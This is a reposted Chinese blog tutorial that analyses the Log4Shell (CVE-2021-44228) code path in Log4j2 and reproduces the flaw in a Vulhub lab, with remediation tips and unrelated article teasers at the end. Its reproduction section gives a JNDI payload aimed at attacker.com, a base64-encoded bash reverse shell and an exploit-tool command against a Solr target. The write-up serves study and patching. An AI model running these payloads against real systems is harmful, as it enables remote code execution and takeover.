CVE-2021-44228源码分析与漏洞复现

漏洞概述

漏洞名称：Apache Log4j2 远程代码执行漏洞
漏洞编号：CVE-2021-44228
CVSS 评分：10.0
影响版本：Apache Log4j 2.0-beta9 至 2.14.1
修复版本：2.15.0、2.16.0

CVE-2021-44228 是 Apache Log4j2 日志框架中因 JNDI 功能未安全过滤用户输入导致的远程代码执行漏洞。攻击者通过构造包含恶意 JNDI 查询的字符串（如 ${jndi:ldap://attacker.com/Exploit}），当该字符串被 Log4j2 记录到日志时，触发 JNDI 解析逻辑，从攻击者控制的服务器加载并执行恶意代码，最终完全控制目标系统。

技术细节与源码分析

1. 漏洞成因**

Log4j2 的 消息查找替换功能（Message Lookup）允许在日志消息中动态解析变量（如 ${env:USER}）。攻击者通过注入 ${jndi:ldap://恶意URL}，触发 Log4j2 的 JndiLookup 类解析 JNDI 请求，从而加载远程恶意代码。关键问题包括：

  1. 未验证输入来源：日志消息中的用户输入未过滤 JNDI 协议；
  2. 默认启用高危功能：Log4j2 默认启用 JNDI 和消息查找功能。
2. 关键源码分析
1. 日志记录入口：用户输入被记录

场景示例：
假设用户发送 HTTP 请求，请求头中包含恶意 Payload：

GET /vulnerable-page HTTP/1.1  
User-Agent: ${jndi:ldap://attacker.com/Exploit}

应用程序使用 Log4j2 记录请求头：

logger.info("Received request from User-Agent: {}", userAgent);

此时，userAgent 的值为 ${jndi:ldap://attacker.com/Exploit}。

2. 日志消息解析：MessagePatternConverter.format()

代码路径：org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
关键逻辑：

 @Overridepublic void format(final LogEvent event, final StringBuilder toAppendTo) {final Message msg = event.getMessage();if (msg instanceof StringBuilderFormattable) {final boolean doRender = textRenderer != null;final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;if (msg instanceof MultiFormatStringBuilderFormattable) {((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);} else {((StringBuilderFormattable) msg).formatTo(workingBuilder);}if (doRender) {textRenderer.render(workingBuilder, toAppendTo);}return;}if (msg != null) {String result;if (msg instanceof MultiformatMessage) {result = ((MultiformatMessage) msg).getFormattedMessage(formats);} else {result = msg.getFormattedMessage();// 触发消息格式化}if (result != null) {toAppendTo.append(result);} else {toAppendTo.append("null");}}}

作用：

  • 调用 Message.getFormattedMessage() 解析消息中的占位符（如 ${jndi:...}）。
  • 漏洞触发点：若消息包含 ${} 表达式，Log4j2 默认会解析其中的动态内容。
3. 占位符替换：StrSubstitutor.replace()

代码路径：org.apache.logging.log4j.core.lookup.StrSubstitutor#replace
关键逻辑：

public String replace(final LogEvent event, final String source) {if (source == null) {return null;}final StringBuilder buf = new StringBuilder(source);try {if (!substitute(event, buf, 0, source.length())) {// 解析占位符 return source;}} catch (Throwable t) {return handleFailedReplacement(source, t);}return buf.toString();}

substitute 函数：

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,List<String> priorVariables) {.......if (priorVariables == null) {priorVariables = new ArrayList<>();}final StringBuilder bufName = new StringBuilder(varNameExpr);substitute(event, bufName, 0, bufName.length(), priorVariables);//调用resolveVariable()varNameExpr = bufName.toString();}pos += endMatchLen;final int endPos = pos;String varName = varNameExpr;String varDefaultValue = null;.......}

解析流程：

  1. 检测 ${：扫描字符串中的 ${ 符号。
  2. 提取表达式：截取 ${jndi:ldap://attacker.com/Exploit}。
  3. 调用 resolveVariable()：解析表达式中的 jndi 前缀。
4. resolveVariable()接口

关键逻辑：

  protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,final int startPos, final int endPos) {final StrLookup resolver = getVariableResolver();if (resolver == null) {return null;}try {return resolver.lookup(event, variableName);// 调用 JndiLookup.lookup()} catch (Throwable t) {StatusLogger.getLogger().error("Resolver failed to lookup {}", variableName, t);return null;}}

步骤分解：

  • 提取前缀：从 ${jndi:ldap://...} 中提取 jndi。
  • 调用 JndiLookup：执行 JndiLookup.lookup() 方法。
5. JNDI 查询：JndiLookup.lookup()

代码路径：org.apache.logging.log4j.core.lookup.JndiLookup#lookup
关键逻辑：

 @Overridepublic String lookup(final LogEvent event, final String key) {if (key == null) {return null;}final String jndiName = convertJndiName(key);// 转换为合法 JNDI 名称try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {return Objects.toString(jndiManager.lookup(jndiName), null);// 发起 JNDI 查询} catch (final NamingException e) {LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);return null;}}

漏洞根源：

  • jndiManager.lookup()：直接调用 Java 原生 javax.naming.InitialContext.lookup()。
  • 协议滥用：支持 ldap、rmi 等远程协议，允许加载外部类。
6. 远程类加载与代码执行

攻击链完成：

  1. LDAP 服务器响应：攻击者的 LDAP 服务器返回指向 http://attacker.com/Exploit.class 的引用。
  2. 类加载触发：目标服务器通过 URLClassLoader 加载远程类。
  3. 静态代码块执行：恶意类的静态代码块中执行 Runtime.getRuntime().exec("恶意命令")。
完整调用链图示
[用户输入]  ↓  
MessagePatternConverter.format()  ↓  
Message.getFormattedMessage()  ↓  
StrSubstitutor.replace()  ↓  
JndiLookup.lookup()  ↓  
JndiManager.lookup()  ↓  
javax.naming.InitialContext.lookup()  ↓  
LDAP/RMI 远程类加载 → RCE

漏洞复现

环境搭建
1.使用 Vulhub 环境启动漏洞靶机
 docker-compose up -d

在这里插入图片描述

2.访问访问 http://target:8983，确认服务正常运行

在这里插入图片描述

攻击步骤(反弹shell)
1.下载攻击工具
2.生成payload
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==是bash -i >& /dev/tcp/192.168.1.102/6666 0>&1的base64编码(换成自己攻击机的ip和监听端口)

3.开启监听

在这里插入图片描述

4.使用工具

进入tools目录,执行命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.1.1
//192.168.1.1换为执行该命令的主机ip

在这里插入图片描述

  • 触发漏洞
http://192.168.1.100:8983/solr/admin/cores?action=${jndi:rmi://192.168.1.1:1099/r10kqv}每个人可能不一样，看自己工具生成的地址

在这里插入图片描述

5.验证

在这里插入图片描述

修复建议

  1. 升级 Log4j2：
    • 升级至 2.16.0 及以上版本（默认禁用 JNDI 和消息查找）；
  2. 临时缓解措施：
    • 设置 JVM 参数 -Dlog4j2.formatMsgNoLookups=true；
    • 删除 JndiLookup.class 文件（适用于旧版本）；
  3. 网络防护：
    • 使用 WAF 拦截包含 ${jndi: 的请求；
    • 限制服务器对外网络访问（阻断 LDAP/RMI 出站）。

总结

CVE-2021-44228 的根源在于 Log4j2 对用户输入的过度信任与 JNDI 功能的滥用。其利用链清晰、影响深远，甚至被预测为“地方性流行病”，未来十年内仍可能影响未修复的系统。修复需结合代码升级、网络防护与持续监控，以应对不断演变的攻击手法。

参考链接

  1. CVE-2021-44228 漏洞复现与利用链分析
  2. Log4Shell 漏洞背景与全球影响
  3. Spring Boot 项目修复方案
  4. 漏洞技术细节与修复指南
  5. log4j2漏洞CVE-2021-44228复现笔记

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.pswp.cn/news/907046.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

2025年Google I/O大会上，谷歌展示了一系列旨在提升开发效率与Web体验的全新功能

2025年Google I/O大会上，谷歌展示了一系列旨在提升开发效率与Web体验的全新功能

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…
阅读更多...
【C++指南】string（三）：basic_string底层原理与模拟实现详解

【C++指南】string（三）：basic_string底层原理与模拟实现详解

. &#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;《C指南》 期待您的关注 文章目录 引言一、成员变量与内存管理1.1 核心成员变量1.2 内存分配策略 二、默认成员函数的实现与优化…
阅读更多...
AWS云与第三方通信最佳实践：安全、高效的数据交互方案

AWS云与第三方通信最佳实践：安全、高效的数据交互方案

引言 在当今的云计算时代，企业经常需要在AWS云环境中存储和处理数据，同时还需要与第三方应用或服务进行数据交互。如何安全、高效地实现这种通信是许多企业面临的挑战。本文将详细探讨几种AWS云与第三方通信的方案，并分析它们的优缺点，帮助您为自己的业务场景选择最佳解决…
阅读更多...
AE THYRO-AX 功率控制器 THYRISTOR-LEISTUNGSSTELLER THYRISTOR POWER CONTROLLER

AE THYRO-AX 功率控制器 THYRISTOR-LEISTUNGSSTELLER THYRISTOR POWER CONTROLLER

AE THYRO-AX 功率控制器 THYRISTOR-LEISTUNGSSTELLER THYRISTOR POWER CONTROLLER
阅读更多...
【论文解读】STaR：不用人类思维链指导，模型可以自我进化!

【论文解读】STaR：不用人类思维链指导，模型可以自我进化!

1st author: Eric Zelikman paper: STaR: Bootstrapping Reasoning With Reasoning | OpenReview NeurIPS 2022 code: ezelikman/STaR: Code for STaR: Bootstrapping Reasoning With Reasoning (NeurIPS 2022) 1. 当语言模型学会自我进化 Zelikman 等人提出的 STaR (Self-T…
阅读更多...
大语言模型 19 - MCP FastAPI-MCP 实现自己的MCP服务 快速接入API

大语言模型 19 - MCP FastAPI-MCP 实现自己的MCP服务 快速接入API

MCP 基本介绍 官方地址&#xff1a; https://modelcontextprotocol.io/introduction “MCP 是一种开放协议&#xff0c;旨在标准化应用程序向大型语言模型&#xff08;LLM&#xff09;提供上下文的方式。可以把 MCP 想象成 AI 应用程序的 USB-C 接口。就像 USB-C 提供了一种…
阅读更多...
用Matlab对单目相机参数的标定步骤（保姆级教程）

用Matlab对单目相机参数的标定步骤（保姆级教程）

前言 在图像测量及机器视觉应用中&#xff0c;为确定空间物体表面某点的三维几何位置与其在图像中对应点之间的相互关系&#xff0c;必须建立相机成像的几何模型&#xff0c;这些几何模型参数就是相机参数。   在大多数条件下这些参数必须通过实验与计算才能得到&#xff…
阅读更多...
【后端高阶面经：架构篇】46、分布式架构：如何应对高并发的用户请求

【后端高阶面经：架构篇】46、分布式架构：如何应对高并发的用户请求

一、架构设计原则：构建可扩展的系统基石 在分布式系统中，高并发场景对架构设计提出了极高要求。 分层解耦与模块化是应对复杂业务的核心策略，通过将系统划分为客户端、CDN/边缘节点、API网关、微服务集群、缓存层和数据库层等多个层次，实现各模块的独立演进与维护。 1.1 …
阅读更多...
SQL每日一题（5）

SQL每日一题（5）

前言&#xff1a;五更&#xff01;五更琉璃&#xff01;不对&#xff01;是&#xff0c;五更佩可&#xff01; 原始数据&#xff1a; new_hires reasonother_column1other_column2校园招聘信息 11社会招聘信息 22内部推荐信息 33猎头推荐信息 44校园招聘信息 55社会招聘信息…
阅读更多...
Kafka Kraft模式集群 + ssl

Kafka Kraft模式集群 + ssl

文章目录 启用集群资源规划准备证书创建相关文件夹配置文件启动各Kafka节点 故障转移测试spring boot集成 启用集群 配置集群时关键就是提前梳理好需要的网络资源&#xff0c;完成对应server.properties文件的配置。在执行前先把这些梳理好&#xff0c;可以方便后面的配置&…
阅读更多...
watchEffect

watchEffect

在处理复杂异步逻辑时&#xff0c;Vue 3 的 watchEffect 相比传统的 watch 具有以下优势&#xff1a; 1. 自动追踪依赖 watchEffect 会自动收集其回调中使用的所有响应式依赖&#xff0c;无需手动指定监听源&#xff1a; import { ref, watchEffect } from vue;const count …
阅读更多...
Linux系统平均负载与top、uptime命令详解

Linux系统平均负载与top、uptime命令详解

介绍 在Linux系统运维中&#xff0c;系统平均负载是一个重要的性能指标。通过 top和 uptime命令&#xff0c;可以实时监控系统的负载情况&#xff0c;帮助运维人员及时发现并解决系统性能问题。本文将详细介绍Linux系统平均负载的概念及其计算方法&#xff0c;并深入解析 top和…
阅读更多...
前端配置nginx代理

前端配置nginx代理

一、定义静态文件的路径的两种方式 1. root 指令 &#xff08;1&#xff09;作用 指定文件系统的 基础路径&#xff0c;location 的 URI 会 追加到该路径后 形成完整路径。 &#xff08;2&#xff09;语法 location /uri/ {root /path/to/files; } &#xff08;3&#xf…
阅读更多...
语音识别技术在人工智能中的应用

语音识别技术在人工智能中的应用

姓名&#xff1a;成杰 学号&#xff1a;21021210653 学院&#xff1a;电子工程学院 【嵌牛导读】 应用语音智能这项识别技术是为了使计算机可以听懂人类的语言&#xff0c;并执行人类的某项操作。现阶段这项技术已经成为人工智能领域的重点研究方向和实现人机语音交互的…
阅读更多...
uniapp实现大视频文件上传-- 阿里云oss直传方式 - app、H5、微信小程序

uniapp实现大视频文件上传-- 阿里云oss直传方式 - app、H5、微信小程序

之前的项目文件上传比较慢&#xff0c;使用预签名方式上传H5正常&#xff0c;微信小程序和app使用axios时出现了各种报错&#xff0c;配置完后还是不行。所以换一种oss直传方式。 找到一个 实现了的 参考:https://blog.csdn.net/qq_44860866/article/details/129670188
阅读更多...
【Java学习笔记】抽象类

【Java学习笔记】抽象类

抽象类 引入关键字&#xff1a;abstract 应用场景&#xff1a;当子类中共有的部分 / 特性可以放到抽象类中 1. 通过子类的方法重写实现不同的功能 2. 编写一个方法把共有的部分放入其中&#xff0c;在该方法中调用抽象方法&#xff08;动态绑定机制&#xff09; 3. 便可以实…
阅读更多...
EPT（Efficient Prompt Tuning）方法，旨在解决提示调优（Prompt Tuning）中效率与准确性平衡和跨任务一致性的问题

EPT（Efficient Prompt Tuning）方法，旨在解决提示调优（Prompt Tuning）中效率与准确性平衡和跨任务一致性的问题

EPT（Efficient Prompt Tuning）方法，旨在解决提示调优（Prompt Tuning）中效率与准确性平衡和跨任务一致性的问题 一、核心原理：分解提示与多空间投影 1. 提示分解：用低秩矩阵压缩长提示 传统问题： 长提示（如100个token）精度高但训练慢，短提示（如20个token）速度快但…
阅读更多...
深入剖析Java中的伪共享：原理、检测与解决方案

深入剖析Java中的伪共享：原理、检测与解决方案

在高性能Java应用的开发中&#xff0c;尤其是多线程环境下&#xff0c;开发者往往会关注锁竞争、线程调度等显性问题&#xff0c;但有一个隐蔽的性能杀手——伪共享&#xff08;False Sharing&#xff09;​&#xff0c;却容易被忽视。本文将通过原理分析、代码案例与实战工具&…
阅读更多...
JMeter 教程：响应断言

JMeter 教程：响应断言

目录 JMeter 教程&#xff1a;响应断言的简单介绍【轻松上手】 ✅ 什么是响应断言&#xff1f; &#x1f4cc; 使用场景示例 &#x1f6e0;️ 添加响应断言步骤 1. 选中 HTTP 请求 → 右键 → Add → Assertions → Response Assertion 2. 设置断言内容&#xff1a; ✅ …
阅读更多...
11.11 TypedDict与Pydantic实战：Python高效状态管理秘籍

11.11 TypedDict与Pydantic实战：Python高效状态管理秘籍

使用 TypedDict 和 Pydantic 管理状态 关键词：LangGraph 状态管理, TypedDict 类型化字典, Pydantic 数据模型, 状态持久化, 多轮对话设计 1. 状态管理的核心挑战 在复杂 AI Agent 系统中，状态管理需要解决三个关键问题： #mermaid-svg-0sX3763L7VP2RvuX {font-family:&quo…
阅读更多...
最新文章

Copyright @ 2022~2023